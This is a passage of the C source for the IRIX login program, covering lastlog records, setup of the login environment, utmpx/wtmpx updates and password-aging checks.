| 2352 | break; | ||
| 2353 | #else /* !EXECSH */ | ||
| 2354 | /* | ||
| 2355 | * no need to continue login since the -r option | ||
| 2356 | * is not allowed. | ||
| 2357 | */ | ||
| 2358 | case 'r': | ||
| 2359 | return -1; | ||
| 2360 | /* | ||
| 2361 | * the ability to specify the -d option at the "login: " | ||
| 2362 | * prompt with an argument is still supported however it | ||
| 2363 | * has no effect. | ||
| 2364 | */ | ||
| 2365 | #endif /* EXECSH */ | ||
| 2366 | case 'd': | ||
| 2367 | /* ignore the following options for IAF reqts */ | ||
| 2368 | case 'u': | ||
| 2369 | case 'l': | ||
| 2370 | case 's': | ||
| 2371 | case 'M': | ||
| 2372 | case 'U': | ||
| 2373 | case 'S': | ||
| 2374 | break; | ||
| 2375 | default: | ||
| 2376 | errflg++; | ||
| 2377 | break; | ||
| 2378 | } /* end switch */ | ||
| 2379 | } /* end while */ | ||
| 2380 | if (errflg) | ||
| 2381 | return -1; | ||
| 2382 | return 0; | ||
| 2383 | } | ||
| 2384 | |||
| 2385 | |||
| 2386 | /* | ||
| 2387 | * Procedure: usage | ||
| 2388 | * | ||
| 2389 | * Notes: prints the usage message. | ||
| 2390 | */ | ||
| 2391 | static void | ||
| 2392 | usage(void) | ||
| 2393 | { | ||
| 2394 | pfmt(stderr, MM_ACTION, | ||
| 2395 | ":670:Usage: login [[ -p ] name [ env-var ... ]]\n"); | ||
| 2396 | } | ||
| 2397 | |||
| 2398 | |||
| 2399 | |||
| 2400 | |||
| 2401 | /* | ||
| 2402 | * Procedure: do_lastlog | ||
| 2403 | * | ||
| 2404 | * Notes: gets the information for the last time the user logged | ||
| 2405 | * on and also sets up the information for this login | ||
| 2406 | * session so it can be reported at a subsequent login. | ||
| 2407 | * The original code does this in a file indexed by uid. | ||
| 2408 | * This works badly on efs since hole-y files are not supported, | ||
| 2409 | * so the cypress scheme is implemented by default. | ||
| 2410 | */ | ||
| 2411 | static int | ||
| 2412 | do_lastlog(struct utmpx *utmp) | ||
| 2413 | { | ||
| 2414 | int fd1, | ||
| 2415 | lastlogok = 0, | ||
| 2416 | exists; | ||
| 2417 | long ia_inact; | ||
| 2418 | struct stat f_buf; | ||
| 2419 | struct lastlog newll; | ||
| 2420 | char *fname; | ||
| 2421 | cap_t ocap; | ||
| 2422 | cap_value_t cap_mac_grade[] = {CAP_MAC_DOWNGRADE, CAP_MAC_UPGRADE}; | ||
| 2423 | cap_value_t capv; | ||
| 2424 | |||
| 2425 | exists = stat(LASTLOG, &f_buf) == 0; | ||
| 2426 | if (exists && !S_ISDIR(f_buf.st_mode)) { | ||
| 2427 | unlink(LASTLOG); | ||
| 2428 | exists = 0; | ||
| 2429 | } | ||
| 2430 | if (!exists) { | ||
| 2431 | (void) mkdir(LASTLOG, 0); | ||
| 2432 | (void) chmod(LASTLOG, S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH); | ||
| 2433 | (void) stat(LASTLOG, &f_buf); | ||
| 2434 | } | ||
| 2435 | if (!S_ISDIR(f_buf.st_mode)) | ||
| 2436 | return 0; | ||
| 2437 | |||
| 2438 | fname = (char *)malloc(strlen(LASTLOG) + strlen(utmp->ut_user) + 1); | ||
| 2439 | if (!fname) | ||
| 2440 | return 0; | ||
| 2441 | sprintf(fname, "%s/%s", LASTLOG, utmp->ut_user); | ||
| 2442 | if (stat(fname, &f_buf) < 0) { | ||
| 2443 | capv = CAP_MAC_WRITE, ocap = cap_acquire (1, &capv); | ||
| 2444 | (void) close(creat(fname, (mode_t) 0)); | ||
| 2445 | cap_surrender (ocap); | ||
| 2446 | (void) chmod(fname, (S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)); | ||
| 2447 | |||
| 2448 | if (sysconf (_SC_MAC) > 0) { | ||
| 2449 | mac_t dblow_label = mac_from_text ("dblow"); | ||
| 2450 | |||
| 2451 | if (dblow_label == NULL) { | ||
| 2452 | free(fname); | ||
| 2453 | return 0; | ||
| 2454 | } | ||
| 2455 | |||
| 2456 | ocap = cap_acquire(2, cap_mac_grade); | ||
| 2457 | if (mac_set_file (fname, dblow_label) == -1) { | ||
| 2458 | cap_surrender(ocap); | ||
| 2459 | mac_free(dblow_label); | ||
| 2460 | free(fname); | ||
| 2461 | return 0; | ||
| 2462 | } | ||
| 2463 | cap_surrender(ocap); | ||
| 2464 | mac_free(dblow_label); | ||
| 2465 | } | ||
| 2466 | } | ||
| 2467 | capv = CAP_MAC_WRITE, ocap = cap_acquire (1, &capv); | ||
| 2468 | if ((fd1 = open(fname, O_RDWR)) < 0) { | ||
| 2469 | cap_surrender (ocap); | ||
| 2470 | free(fname); | ||
| 2471 | return 0; | ||
| 2472 | } | ||
| 2473 | cap_surrender (ocap); | ||
| 2474 | free(fname); | ||
| 2475 | (void) fstat(fd1, &f_buf); | ||
| 2476 | if (!S_ISREG(f_buf.st_mode)) | ||
| 2477 | return 0; | ||
| 2478 | switch (f_buf.st_size) { | ||
| 2479 | case 0: | ||
| 2480 | break; | ||
| 2481 | case sizeof(ll): | ||
| 2482 | if (read(fd1, (char *)&ll, sizeof(ll)) == sizeof(ll) && | ||
| 2483 | ll.ll_time != 0) | ||
| 2484 | lastlogok = 1; | ||
| 2485 | break; | ||
| 2486 | case sizeof(struct lastlog4): { | ||
| 2487 | struct lastlog4 ll4; | ||
| 2488 | |||
| 2489 | if (read(fd1, (char *)&ll4, sizeof(ll4)) == sizeof(ll4) && | ||
| 2490 | ll4.ll_time != 0 && ll4.ll_status) { | ||
| 2491 | lastlogok = 1; | ||
| 2492 | ll.ll_time = ll4.ll_time; | ||
| 2493 | /* line & host smaller than current */ | ||
| 2494 | strncpy(ll.ll_line, ll4.ll_line, sizeof(ll4.ll_line)-1); | ||
| 2495 | strncpy(ll.ll_host, ll4.ll_host, sizeof(ll4.ll_host)-1); | ||
| 2496 | ll.ll_level = 0; | ||
| 2497 | } | ||
| 2498 | ftruncate(fd1, 0L); | ||
| 2499 | break; | ||
| 2500 | } | ||
| 2501 | case sizeof(struct lastlog5a): { | ||
| 2502 | struct lastlog5a ll5a; | ||
| 2503 | |||
| 2504 | if (read(fd1, (char *)&ll5a, sizeof(ll5a)) == sizeof(ll5a) && | ||
| 2505 | ll5a.ll_time != 0) { | ||
| 2506 | lastlogok = 1; | ||
| 2507 | ll.ll_time = ll5a.ll_time; | ||
| 2508 | /* line & host smaller than current */ | ||
| 2509 | strncpy(ll.ll_line, ll5a.ll_line, sizeof(ll5a.ll_line)-1); | ||
| 2510 | strncpy(ll.ll_host, ll5a.ll_host, sizeof(ll5a.ll_host)-1); | ||
| 2511 | ll.ll_level = ll5a.ll_level; | ||
| 2512 | } | ||
| 2513 | ftruncate(fd1, 0L); | ||
| 2514 | break; | ||
| 2515 | } | ||
| 2516 | default: | ||
| 2517 | ftruncate(fd1, 0L); | ||
| 2518 | break; | ||
| 2519 | } | ||
| 2520 | |||
| 2521 | (void) lseek(fd1, 0, 0); | ||
| 2522 | (void) time(&newll.ll_time); | ||
| 2523 | if (utmp->ut_host[0]) | ||
| 2524 | SCPYN(newll.ll_line, rusername); | ||
| 2525 | else | ||
| 2526 | SCPYN(newll.ll_line, (rttyn + sizeof("/dev/")-1)); | ||
| 2527 | SCPYN(newll.ll_host, remotehost); | ||
| 2528 | |||
| 2529 | /* Check for login inactivity */ | ||
| 2530 | |||
| 2531 | ia_get_loginact(uinfo, &ia_inact); | ||
| 2532 | if ((ia_inact > 0) && ll.ll_time) | ||
| 2533 | if((( ll.ll_time / DAY ) + ia_inact) < DAY_NOW ) { | ||
| 2534 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 2535 | ia_audit("LOGIN", u_name, 0, | ||
| 2536 | "Account inactive too long"); | ||
| 2537 | cap_surrender(ocap); | ||
| 2538 | pfmt(stderr, MM_ERROR|MM_NOGET, | ||
| 2539 | gettxt(incorrectmsgid, incorrectmsg)); | ||
| 2540 | (void) close(fd1); | ||
| 2541 | exit(1); | ||
| 2542 | } | ||
| 2543 | |||
| 2544 | (void) write(fd1, (char * )&newll, sizeof(newll)); | ||
| 2545 | (void) close(fd1); | ||
| 2546 | |||
| 2547 | return lastlogok; | ||
| 2548 | } | ||
| 2549 | |||
| 2550 | |||
| 2551 | /* | ||
| 2552 | * Procedure: setup_environ | ||
| 2553 | * | ||
| 2554 | * Restrictions: | ||
| 2555 | * access(2): None | ||
| 2556 | * | ||
| 2557 | * Notes: Set up the basic environment for the exec. This | ||
| 2558 | * includes HOME, PATH, LOGNAME, SHELL, TERM, HZ, TZ, | ||
| 2559 | * and MAIL. | ||
| 2560 | */ | ||
| 2561 | static void | ||
| 2562 | setup_environ(char **envp, char **renvp, char *dirp, char **shellp) | ||
| 2563 | { | ||
| 2564 | static int basicenv; | ||
| 2565 | static char envblk[MAXENV]; | ||
| 2566 | register int i, j, k, | ||
| 2567 | l_index, length; | ||
| 2568 | char *ptr, *endptr; | ||
| 2569 | |||
| 2570 | /* | ||
| 2571 | * login will only set the environment variable "TERM" if it | ||
| 2572 | * already exists in the environment. This allows features | ||
| 2573 | * such as doconfig with the port monitor to work correctly | ||
| 2574 | * if an administrator specifies a particular terminal for a | ||
| 2575 | * particular port. | ||
| 2576 | * | ||
| 2577 | */ | ||
| 2578 | #ifdef EXECSH | ||
| 2579 | if (terminal[0] != '\0') { /* from -r or -t option */ | ||
| 2580 | (void) strcat(term, "TERM="); | ||
| 2581 | ENVSTRNCAT(term, terminal) | ||
| 2582 | } else | ||
| 2583 | #endif /* EXECSH */ | ||
| 2584 | { | ||
| 2585 | if (!Def_term || !*Def_term) { | ||
| 2586 | if ((Def_term = getenv("TERM")) != NULL) { | ||
| 2587 | (void) strcpy(term, "TERM="); | ||
| 2588 | ENVSTRNCAT(term, Def_term); | ||
| 2589 | } | ||
| 2590 | } else { | ||
| 2591 | (void) strcpy(term, "TERM="); | ||
| 2592 | ENVSTRNCAT(term, Def_term); | ||
| 2593 | } | ||
| 2594 | } | ||
| 2595 | |||
| 2596 | if (!Def_hertz || !*Def_hertz) { | ||
| 2597 | if ((Def_hertz = getenv("HZ")) != NULL) { | ||
| 2598 | ENVSTRNCAT(hertz, Def_hertz); | ||
| 2599 | } else | ||
| 2600 | (void) strcat(hertz, DEF_HZ); | ||
| 2601 | } else { | ||
| 2602 | ENVSTRNCAT(hertz, Def_hertz); | ||
| 2603 | } | ||
| 2604 | |||
| 2605 | { | ||
| 2606 | int fd; | ||
| 2607 | char *nlp, uhlang[MAXPATHLEN + 7]; | ||
| 2608 | |||
| 2609 | if( !Def_lang || !*Def_lang) | ||
| 2610 | (void)strcat(lang, DEF_LANG); | ||
| 2611 | else { | ||
| 2612 | ENVSTRNCAT(lang, Def_lang); | ||
| 2613 | } | ||
| 2614 | |||
| 2615 | /* | ||
| 2616 | * .lang overwrites all LANG settings | ||
| 2617 | * but not those from username args | ||
| 2618 | */ | ||
| 2619 | (void)strncpy(uhlang, dirp, MAXPATHLEN); | ||
| 2620 | (void)strcat(uhlang, LANG_FILE); | ||
| 2621 | if((fd = open(uhlang, O_RDONLY)) >= 0) { | ||
| 2622 | int nrd; | ||
| 2623 | if((nrd=read(fd, uhlang, NL_LANGMAX + 2)) > 0) { | ||
| 2624 | if(nlp = strchr(uhlang, '\n')) | ||
| 2625 | *nlp = 0; | ||
| 2626 | else uhlang[nrd]= 0; | ||
| 2627 | uhlang[NL_LANGMAX] = 0; | ||
| 2628 | (void)strcpy(lang, "LANG="); | ||
| 2629 | ENVSTRNCAT(lang, uhlang); | ||
| 2630 | } | ||
| 2631 | (void)close(fd); | ||
| 2632 | } | ||
| 2633 | } | ||
| 2634 | |||
| 2635 | { | ||
| 2636 | int fd; | ||
| 2637 | char *nlp, uhtz[MAXPATHLEN + 11]; | ||
| 2638 | |||
| 2639 | /* | ||
| 2640 | * .timezone overwrites all LANG settings | ||
| 2641 | * but not those from username args | ||
| 2642 | */ | ||
| 2643 | (void)strncpy(uhtz, dirp, MAXPATHLEN); | ||
| 2644 | (void)strcat(uhtz, TZ_FILE); | ||
| 2645 | if((fd = open(uhtz, O_RDONLY)) >= 0) { | ||
| 2646 | int nrd; | ||
| 2647 | /* -4 to leave space for NUL and "TZ=" */ | ||
| 2648 | if((nrd=read(fd, uhtz, sizeof(timez) - 4)) > 0) { | ||
| 2649 | if(nlp = strchr(uhtz, '\n')) | ||
| 2650 | *nlp = 0; | ||
| 2651 | else uhtz[nrd]= 0; | ||
| 2652 | uhtz[sizeof(timez)-4] = 0; | ||
| 2653 | (void)strcpy(timez, "TZ="); | ||
| 2654 | ENVSTRNCAT(timez, uhtz); | ||
| 2655 | putenv(timez); | ||
| 2656 | } | ||
| 2657 | (void)close(fd); | ||
| 2658 | } | ||
| 2659 | } | ||
| 2660 | |||
| 2661 | if (ia_uid == 0) { | ||
| 2662 | if (!(Def_path = Def_supath) || !*Def_path) | ||
| 2663 | Def_path = DEF_SUPATH; | ||
| 2664 | } else { | ||
| 2665 | if (!Def_path || !*Def_path) | ||
| 2666 | Def_path = DEF_PATH; | ||
| 2667 | } | ||
| 2668 | |||
| 2669 | ENVSTRNCAT(path, Def_path); | ||
| 2670 | |||
| 2671 | ENVSTRNCAT(home, dirp); | ||
| 2672 | ENVSTRNCAT(user, u_name); | ||
| 2673 | ENVSTRNCAT(logname, u_name); | ||
| 2674 | |||
| 2675 | /* Find the end of the basic environment */ | ||
| 2676 | |||
| 2677 | for (basicenv = 0; envinit[basicenv] != NULL; basicenv++); | ||
| 2678 | |||
| 2679 | if (*shellp[0] == '\0') { | ||
| 2680 | /* | ||
| 2681 | * If possible, use the primary default shell, | ||
| 2682 | * otherwise, use the secondary one. | ||
| 2683 | */ | ||
| 2684 | if (access(SHELL, X_OK) == 0) | ||
| 2685 | *shellp = SHELL; | ||
| 2686 | else | ||
| 2687 | *shellp = SHELL2; | ||
| 2688 | |||
| 2689 | } else | ||
| 2690 | if (Altshell && *Altshell && | ||
| 2691 | strncasecmp(Altshell, "YES", 3) == 0) | ||
| 2692 | envinit[basicenv++] = shell; | ||
| 2693 | |||
| 2694 | ENVSTRNCAT(shell, *shellp); | ||
| 2695 | |||
| 2696 | if (remotehost[0] != '\0') { /* install remote host name */ | ||
| 2697 | envinit[basicenv++] = env_remotehost; | ||
| 2698 | ENVSTRNCAT(env_remotehost,remotehost); | ||
| 2699 | } | ||
| 2700 | else if (0 != (ptr=getenv("REMOTEHOST"))) | ||
| 2701 | envinit[basicenv++]=strncat(env_remotehost,ptr,MAXHOSTNAMELEN); | ||
| 2702 | if (rusername[0] != '\0') { /* and remote user name */ | ||
| 2703 | envinit[basicenv++] = env_remotename; | ||
| 2704 | ENVSTRNCAT(env_remotename,rusername); | ||
| 2705 | } | ||
| 2706 | else if (0 != (ptr=getenv("REMOTEUSER"))) | ||
| 2707 | envinit[basicenv++] = strncat(env_remotename,ptr,NMAX); | ||
| 2708 | else envinit[basicenv++] = strcat(env_remotename, "UNKNOWN"); | ||
| 2709 | |||
| 2710 | #ifndef NO_MAIL | ||
| 2711 | envinit[basicenv++] = mail; | ||
| 2712 | (void) strcat(mail,_PATH_MAILDIR); | ||
| 2713 | ENVSTRNCAT(mail,u_name); | ||
| 2714 | #endif | ||
| 2715 | |||
| 2716 | #ifdef DCE | ||
| 2717 | if (dfs_authentication) { | ||
| 2718 | envinit[basicenv++] = dce_tktfile; | ||
| 2719 | ENVSTRNCAT(dce_tktfile, getenv("KRB5CCNAME")); | ||
| 2720 | } | ||
| 2721 | #endif /* DCE */ | ||
| 2722 | |||
| 2723 | #ifdef EXECSH | ||
| 2724 | /* | ||
| 2725 | * Add/replace environment variables from telnetd. | ||
| 2726 | */ | ||
| 2727 | if (pflag && renvp != NULL) { | ||
| 2728 | for (j=0; *renvp && j < MAXARGS-1; j++,renvp++) { | ||
| 2729 | |||
| 2730 | /* | ||
| 2731 | * Ignore if it doesn't have the format xxx=yyy | ||
| 2732 | * or it is not an alterable variable. | ||
| 2733 | */ | ||
| 2734 | |||
| 2735 | if ((endptr = strchr(*renvp,'=')) == NULL || | ||
| 2736 | !legalenvvar(*renvp)) | ||
| 2737 | continue; | ||
| 2738 | |||
| 2739 | /* | ||
| 2740 | * Replace any previously-defined string or | ||
| 2741 | * append it to the list. | ||
| 2742 | */ | ||
| 2743 | |||
| 2744 | length = endptr + 1 - *renvp; | ||
| 2745 | for (i = 0; i < basicenv; i++) { | ||
| 2746 | if (!strncmp(*renvp, envinit[i], length)) { | ||
| 2747 | envinit[i] = *renvp; | ||
| 2748 | break; | ||
| 2749 | } | ||
| 2750 | } | ||
| 2751 | if (i == basicenv) | ||
| 2752 | envinit[basicenv++] = *renvp; | ||
| 2753 | } | ||
| 2754 | } | ||
| 2755 | |||
| 2756 | |||
| 2757 | #endif /* EXECSH */ | ||
| 2758 | |||
| 2759 | /* | ||
| 2760 | * Add in all the environment variables picked up from the | ||
| 2761 | * argument list to "login" or from the user response to the | ||
| 2762 | * "login" request. | ||
| 2763 | */ | ||
| 2764 | |||
| 2765 | for (j = 0,k = 0,l_index = 0,ptr = &envblk[0]; *envp && j < (MAXARGS-1); | ||
| 2766 | j++, envp++) { | ||
| 2767 | |||
| 2768 | /* Scan each string provided. If it doesn't have the format */ | ||
| 2769 | /* xxx=yyy, then add the string "Ln=" to the beginning. */ | ||
| 2770 | |||
| 2771 | if ((endptr = strchr(*envp,'=')) == (char*)NULL) { | ||
| 2772 | envinit[basicenv+k] = ptr; | ||
| 2773 | (void) snprintf(ptr, (int)MAXENV, "L%d=%s",l_index,*envp); | ||
| 2774 | |||
| 2775 | /* Advance "ptr" to the beginning of the next argument. */ | ||
| 2776 | |||
| 2777 | while(*ptr++); | ||
| 2778 | k++; | ||
| 2779 | l_index++; | ||
| 2780 | } | ||
| 2781 | |||
| 2782 | /* Is this an environmental variable we permit? */ | ||
| 2783 | |||
| 2784 | else if (!legalenvvar(*envp)) | ||
| 2785 | continue; | ||
| 2786 | |||
| 2787 | /* Check to see whether this string replaces any previously- */ | ||
| 2788 | /* defined string. */ | ||
| 2789 | |||
| 2790 | else { | ||
| 2791 | for (i = 0, length = endptr+1-*envp; i < basicenv+k; i++ ) { | ||
| 2792 | if (strncmp(*envp, envinit[i], length) == 0) { | ||
| 2793 | envinit[i] = *envp; | ||
| 2794 | break; | ||
| 2795 | } | ||
| 2796 | } | ||
| 2797 | |||
| 2798 | /* If it doesn't, place it at the end of environment array. */ | ||
| 2799 | |||
| 2800 | if (i == basicenv+k) { | ||
| 2801 | envinit[basicenv+k] = *envp; | ||
| 2802 | k++; | ||
| 2803 | } | ||
| 2804 | } | ||
| 2805 | } | ||
| 2806 | #ifdef EXECSH | ||
| 2807 | environ = envinit; | ||
| 2808 | #endif /* EXECSH */ | ||
| 2809 | (void)set_lang(envinit); | ||
| 2810 | } | ||
| 2811 | |||
| 2812 | |||
| 2813 | /* | ||
| 2814 | * Procedure: pr_msgs | ||
| 2815 | * | ||
| 2816 | * | ||
| 2817 | * Notes: prints any advisory messages such as the Copyright | ||
| 2818 | */ | ||
| 2819 | static void | ||
| 2820 | pr_msgs(int lastlog_msg) | ||
| 2821 | { | ||
| 2822 | struct utsname un; | ||
| 2823 | |||
| 2824 | #ifndef sgi | ||
| 2825 | (void) alarm(0); | ||
| 2826 | #endif | ||
| 2827 | |||
| 2828 | (void) signal(SIGQUIT, SIG_DFL); | ||
| 2829 | (void) signal(SIGINT, SIG_DFL); | ||
| 2830 | (void) nuname(&un); | ||
| 2831 | |||
| 2832 | pfmt(stdout, MM_NOSTD, | ||
| 2833 | "uxsgicore:704:IRIX Release %s %s %s\n\ | ||
| 2834 | Copyright 1987-1999 Silicon Graphics, Inc. All Rights Reserved.\n", | ||
| 2835 | un.release, un.machine, un.nodename); | ||
| 2836 | |||
| 2837 | /* | ||
| 2838 | * Advise the user the time and date that this login-id | ||
| 2839 | * was last used. | ||
| 2840 | */ | ||
| 2841 | |||
| 2842 | if (lastlog_msg && (access(".hushlogin", F_OK) != 0)) { | ||
| 2843 | char timebuf[256]; | ||
| 2844 | int size; | ||
| 2845 | struct tm *ltime; | ||
| 2846 | |||
| 2847 | ltime = localtime(&ll.ll_time); | ||
| 2848 | size = strftime(timebuf, sizeof(timebuf), "%KC", ltime); | ||
| 2849 | |||
| 2850 | if (ll.ll_host[0] && ll.ll_line[0]) | ||
| 2851 | pfmt(stdout, MM_NOSTD, | ||
| 2852 | ":748:Last login: %.*s by %.*s@%.*s\n", | ||
| 2853 | size, timebuf, sizeof(ll.ll_line), ll.ll_line, | ||
| 2854 | sizeof(ll.ll_host), ll.ll_host); | ||
| 2855 | else if (ll.ll_host[0]) | ||
| 2856 | pfmt(stdout, MM_NOSTD, | ||
| 2857 | ":329:Last login: %.*s from %.*s\n", | ||
| 2858 | size, timebuf, sizeof(ll.ll_host), ll.ll_host); | ||
| 2859 | else | ||
| 2860 | pfmt(stdout, MM_NOSTD, | ||
| 2861 | ":330:Last login: %.*s on %.*s\n", | ||
| 2862 | size, timebuf, sizeof(ll.ll_line), ll.ll_line); | ||
| 2863 | } | ||
| 2864 | } | ||
| 2865 | |||
| 2866 | |||
| 2867 | /* | ||
| 2868 | * Procedure: update_utmp | ||
| 2869 | * | ||
| 2870 | * Restrictions: | ||
| 2871 | * pututxline: None | ||
| 2872 | * getutxent: P_MACREAD | ||
| 2873 | * updwtmpx: P_MACREAD | ||
| 2874 | * | ||
| 2875 | * Notes: updates the utmpx and wtmpx files. | ||
| 2876 | */ | ||
| 2877 | static void | ||
| 2878 | update_utmp(struct utmpx *utmp) | ||
| 2879 | { | ||
| 2880 | register struct utmpx *u; | ||
| 2881 | cap_t ocap; | ||
| 2882 | cap_value_t caps[] = {CAP_DAC_WRITE, CAP_MAC_WRITE}; | ||
| 2883 | |||
| 2884 | (void) time(&utmp->ut_tv.tv_sec); | ||
| 2885 | #ifdef EXECSH | ||
| 2886 | utmp->ut_pid = getpid(); | ||
| 2887 | #else | ||
| 2888 | utmp->ut_pid = getppid(); | ||
| 2889 | #endif /* EXECSH */ | ||
| 2890 | |||
| 2891 | /* | ||
| 2892 | * Find the entry for this pid in the utmp file. | ||
| 2893 | */ | ||
| 2894 | |||
| 2895 | ocap = cap_acquire (2, caps); | ||
| 2896 | while ((u = getutxent()) != NULL) { | ||
| 2897 | if (((u->ut_type == INIT_PROCESS || | ||
| 2898 | u->ut_type == LOGIN_PROCESS) && | ||
| 2899 | (u->ut_pid == utmp->ut_pid)) || | ||
| 2900 | ((u->ut_type == USER_PROCESS) && | ||
| 2901 | ((u->ut_pid == utmp->ut_pid) || | ||
| 2902 | !strncmp(u->ut_line,basename(ttyn), | ||
| 2903 | sizeof(u->ut_line))))) { | ||
| 2904 | |||
| 2905 | /* Copy in the name of the tty minus the "/dev/", the id, and set */ | ||
| 2906 | /* the type of entry to USER_PROCESS. */ | ||
| 2907 | SCPYN(utmp->ut_line,(ttyn + sizeof("/dev/")-1)); | ||
| 2908 | utmp->ut_id[0] = u->ut_id[0]; | ||
| 2909 | utmp->ut_id[1] = u->ut_id[1]; | ||
| 2910 | utmp->ut_id[2] = u->ut_id[2]; | ||
| 2911 | utmp->ut_id[3] = u->ut_id[3]; | ||
| 2912 | utmp->ut_type = USER_PROCESS; | ||
| 2913 | |||
| 2914 | /* Write the new updated utmp file entry. */ | ||
| 2915 | |||
| 2916 | pututxline(utmp); | ||
| 2917 | break; | ||
| 2918 | } | ||
| 2919 | } | ||
| 2920 | endutxent(); /* Close utmp file */ | ||
| 2921 | cap_surrender (ocap); | ||
| 2922 | |||
| 2923 | if (u == (struct utmpx *)NULL) { | ||
| 2924 | #ifndef EXECSH | ||
| 2925 | cap_value_t capv = CAP_AUDIT_WRITE; | ||
| 2926 | ocap = cap_acquire (1, &capv); | ||
| 2927 | ia_audit("LOGIN", u_name, 0, | ||
| 2928 | "cannot execute login at shell level"); | ||
| 2929 | cap_surrender(ocap); | ||
| 2930 | pfmt(stderr, MM_ERROR, ":666:cannot execute login at shell level.\n"); | ||
| 2931 | exit(1); | ||
| 2932 | #endif /* EXECSH */ | ||
| 2933 | } | ||
| 2934 | else { | ||
| 2935 | /* | ||
| 2936 | * Now attempt to write out this entry to the wtmp file | ||
| 2937 | * if we were successful in getting it from the utmp file | ||
| 2938 | * and the wtmp file exists. | ||
| 2939 | */ | ||
| 2940 | ocap = cap_acquire (2, caps); | ||
| 2941 | updwtmpx(WTMPX_FILE, utmp); | ||
| 2942 | cap_surrender (ocap); | ||
| 2943 | } | ||
| 2944 | |||
| 2945 | } | ||
| 2946 | |||
| 2947 | |||
| 2948 | |||
| 2949 | /* | ||
| 2950 | * Procedure: verify_pwd | ||
| 2951 | * | ||
| 2952 | * Restrictions: | ||
| 2953 | * exec_pass(): none | ||
| 2954 | * | ||
| 2955 | * Notes: execute "/usr/bin/passwd" if passwords are required | ||
| 2956 | * for the system, the user does not have a password, | ||
| 2957 | * AND the user's NULL password can be changed accord- | ||
| 2958 | * ing to its password aging information. | ||
| 2959 | * | ||
| 2960 | * It also calls the program "/usr/bin/passwd" if the | ||
| 2961 | * "-p" flag is present on the input line indicating the | ||
| 2962 | * user wishes to modify their password. | ||
| 2963 | */ | ||
| 2964 | static void | ||
| 2965 | verify_pwd(int nopass, uid_t priv_uid) | ||
| 2966 | { | ||
| 2967 | time_t now; | ||
| 2968 | long ia_lstchg, ia_min, | ||
| 2969 | ia_max, ia_warn; | ||
| 2970 | register int n, | ||
| 2971 | paschg = 0; | ||
| 2972 | char *badpasswd = ":148:Cannot execute %s: %s\n"; | ||
| 2973 | cap_t ocap; | ||
| 2974 | cap_value_t capv; | ||
| 2975 | |||
| 2976 | #ifndef sgi | ||
| 2977 | (void) alarm(0); /*give user time to come up with new password */ | ||
| 2978 | #endif | ||
| 2979 | |||
| 2980 | now = DAY_NOW; | ||
| 2981 | |||
| 2982 | /* get the aging info */ | ||
| 2983 | |||
| 2984 | ia_get_logmin(uinfo, &ia_min); | ||
| 2985 | ia_get_logmax(uinfo, &ia_max); | ||
| 2986 | ia_get_logchg(uinfo, &ia_lstchg); | ||
| 2987 | ia_get_logwarn(uinfo, &ia_warn); | ||
| 2988 | |||
| 2989 | if((rflag && (usererr == -1)) || !rflag){ | ||
| 2990 | if (nopass && (ia_uid != priv_uid)) { | ||
| 2991 | if (Passreq && *Passreq && | ||
| 2992 | !strncasecmp("YES", Passreq, 3) && | ||
| 2993 | ((ia_max == -1) || (ia_lstchg > now) || | ||
| 2994 | ((now >= ia_lstchg + ia_min) && | ||
| 2995 | (ia_max >= ia_min)))) { | ||
| 2996 | pfmt(stderr, MM_ERROR, | ||
| 2997 | ":322:You don't have a password.\n"); | ||
| 2998 | pfmt(stderr, MM_ACTION, ":323:Choose one.\n"); | ||
| 2999 | (void) fflush(stderr); | ||
| 3000 | n = exec_pass(u_name); | ||
| 3001 | if (n > 0) { | ||
| 3002 | exit(9); | ||
| 3003 | } | ||
| 3004 | if (n < 0) { | ||
| 3005 | pfmt(stderr, MM_ERROR, badpasswd, | ||
| 3006 | ia_pwdpgm, strerror(errno)); | ||
| 3007 | exit(9); | ||
| 3008 | } | ||
| 3009 | paschg = 1; | ||
| 3010 | ia_lstchg = now; | ||
| 3011 | } | ||
| 3012 | } | ||
| 3013 | } | ||
| 3014 | |||
| 3015 | /* Is the age of the password to be checked? */ | ||
| 3016 | |||
| 3017 | if ((ia_lstchg == 0) || | ||
| 3018 | (ia_lstchg > now) || | ||
| 3019 | ((ia_max >= 0) && (now > (ia_lstchg + ia_max)) && (ia_max >= ia_min))) { | ||
| 3020 | /* don't make the idleweeks tests if last change == 0, which happens when | ||
| 3021 | * the admin expires the passwd via passwd -f (bug fix) | ||
| 3022 | */ | ||
| 3023 | if ((ia_lstchg != 0) && | ||
| 3024 | ((Idleweeks == 0) || | ||
| 3025 | ((Idleweeks > 0) && (now > (ia_lstchg + (7 * Idleweeks)))))) { | ||
| 3026 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 3027 | ia_audit("LOGIN", u_name, 0, | ||
| 3028 | "password has been expired for too long"); | ||
| 3029 | cap_surrender(ocap); | ||
| 3030 | pfmt(stderr, MM_ERROR, | ||
| 3031 | ":324:Your password has been expired for too long\n"); | ||
| 3032 | pfmt(stderr, MM_ACTION, | ||
| 3033 | ":133:Consult your system administrator\n"); | ||
| 3034 | exit(1); | ||
| 3035 | } | ||
| 3036 | else { | ||
| 3037 | pfmt(stderr, MM_ERROR, ":325:Your password has expired.\n"); | ||
| 3038 | pfmt(stderr, MM_ACTION, ":326:Choose a new one\n"); | ||
| 3039 | n = exec_pass(u_name); | ||
| 3040 | if (n > 0) { | ||
| 3041 | exit(9); | ||
| 3042 | } | ||
| 3043 | if (n < 0) { | ||
| 3044 | pfmt(stderr, MM_ERROR, badpasswd, ia_pwdpgm, | ||
| 3045 | strerror(errno)); | ||
| 3046 | exit(9); | ||
| 3047 | } | ||
| 3048 | } | ||
| 3049 | paschg = 1; | ||
| 3050 | ia_lstchg = now; | ||
| 3051 | } | ||
| 3052 | |||
| 3053 | if (pwflag) { | ||
| 3054 | if (!paschg) { | ||
| 3055 | n = exec_pass(u_name); | ||
| 3056 | if (n > 0) | ||
| 3057 | pfmt(stderr, MM_WARNING, ":677:Password unchanged\n"); | ||
| 3058 | if (n < 0) | ||
| 3059 | pfmt(stderr, MM_WARNING, badpasswd, ia_pwdpgm, | ||
| 3060 | strerror(errno)); | ||
| 3061 | } | ||
| 3062 | ia_lstchg = now; | ||
| 3063 | } | ||
| 3064 | /* Warn user that password will expire in n days */ | ||
| 3065 | |||
| 3066 | if ((ia_warn > 0) && (ia_max > 0) && | ||
